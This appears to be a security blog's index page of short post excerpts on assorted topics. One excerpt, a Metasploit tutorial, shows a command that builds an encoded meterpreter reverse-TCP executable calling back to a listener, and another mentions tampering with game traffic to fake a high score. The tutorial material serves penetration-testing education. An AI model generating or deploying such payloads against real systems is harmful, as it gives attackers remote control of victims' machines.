Idea came thanks to cktricky from: http://cktricky.blogspot.com/ A bunch of sites on the web give you different pages depending on the browser you use to view it. I know when I was a web developer compatibility was the bane of my existence, as I’m sure it still is for all the web devs out there. Well, sometimes this leads to bad coding practices, or even the old “Google Bot gets to see everything” feature.
We (the security community) all know, and make fun of “Users”, and “Admins”. They are derogatory terms in our community. So much so, that they could almost be classified at curse words. (I can see the XKCD now: Security stick figure talking to IT stick figure. “You stupid A****“). While I neither discount their “contribution” to making my day fun, I feel that a lot of people miss an even bigger threat: Policies and Procedures, or SOP (Standard Operating Procedures).
Disclaimer: I was given a demo license of the new free business product to break/review. No money has traded hands. This is my brutally honest opinion of the product. I’ve played with a gambit of Astaro products, and personally I really hate UTMs, just like I do All-In-One Printer/Copier/Faxes. One thing breaks, they all do. However, Astaro’s .. before I go into my opinions of the product, or get on any soap box, here are the facts:
(This post got lost in the intertubes and it took a bit to get back, Archive.org nor Google cache had it) I get this question all the time: “Why room362.com?” I have answered that question in a lot of ways, depending on the perceived amount of time I had to tell the story. But, on a blog you have tons of time, right? Not if you are studying the Twitter boom.
In Revision 7315 of the Metasploit Framework (SVN) a new option was added to MSFENCODE. Technically you always had the ability to do the following, but it required a bit of knowledge of the inner workings of the framework. But before I get into the new feature, lets quickly go over the standard way you use msfencode: root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.92.131 LPORT=443 R | ./msfencode -t exe -o /tmp/bob.exe [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1) root@bt4:/pentest/exploits/framework3# We just used MSFPAYLOAD to output in [R]AW format, a reverse tcp connect meterpreter payload.
Continuing my “Getting your fill of” series Dave Shackleford recently posted an excellent blog entry titled “One for the n00bs”: http://daveshackleford.com/?p=277 It relates the security community to a high school cafeteria. It’s a good read and pretty dead on. I want to echo his sentiments, “I got my OWN lunch table. And you’re invited.”, I”m just an email away. I also wanted to let you know there are a lot of places where you can learn on your own, at your own pace, and without any chance of ridicule.
I created a google group for the NoVA Hackers meetups (Formerly known as NoVASec Luncheons) I have added some permissions to the group to maximize privacy options while still allowing for interaction other than me sending out BCC’d messages to everyone: Private Invite Only - basically to keep spam out Only Managers can view Member List - so those who want don’t want their email addresses seen can join and just listen for announcements and regular message traffic
I had a bet with my friend about getting #1 on the Crazy Taxi high score page (== motivation for this post). For those who have not been introduced to it yet, it’s a Facebook/Flash/2.0 resurrection of a much older game. Not having extreme timing skills, I quickly gave up on getting the 2,000,000 points required to make it the “normal” way: My first try was modifying the outgoing HTTP traffic using the Tamper Data plugin for Firefox (to catch the obvious ones).
Yes, I just called everyone who works at Apple an Oompa Loompa, but I digress: I was reading Brooke Crothers’ story on the Apple ‘gag’ order  and couldn’t help but think of how Apple has created an almost similar situation. Everyone wants to know what Apple is up to, can’t stop talking about it. Buzz Out Loud  even had people call and email asking them to see if they could do a show without mentioning Apple or the iPhone.
I’ve been debating making this kind of post for about a week, and I apologize for the RSS spam. But it was getting a bit repetitive telling people via DM, email or other communication what happened. When I took my hiatus from Twitter, I zero’d out my followers, so, if you care to, please check to see if you are still following me. I will be watching my follows closely and will refollow people I might have missed in my initial run through.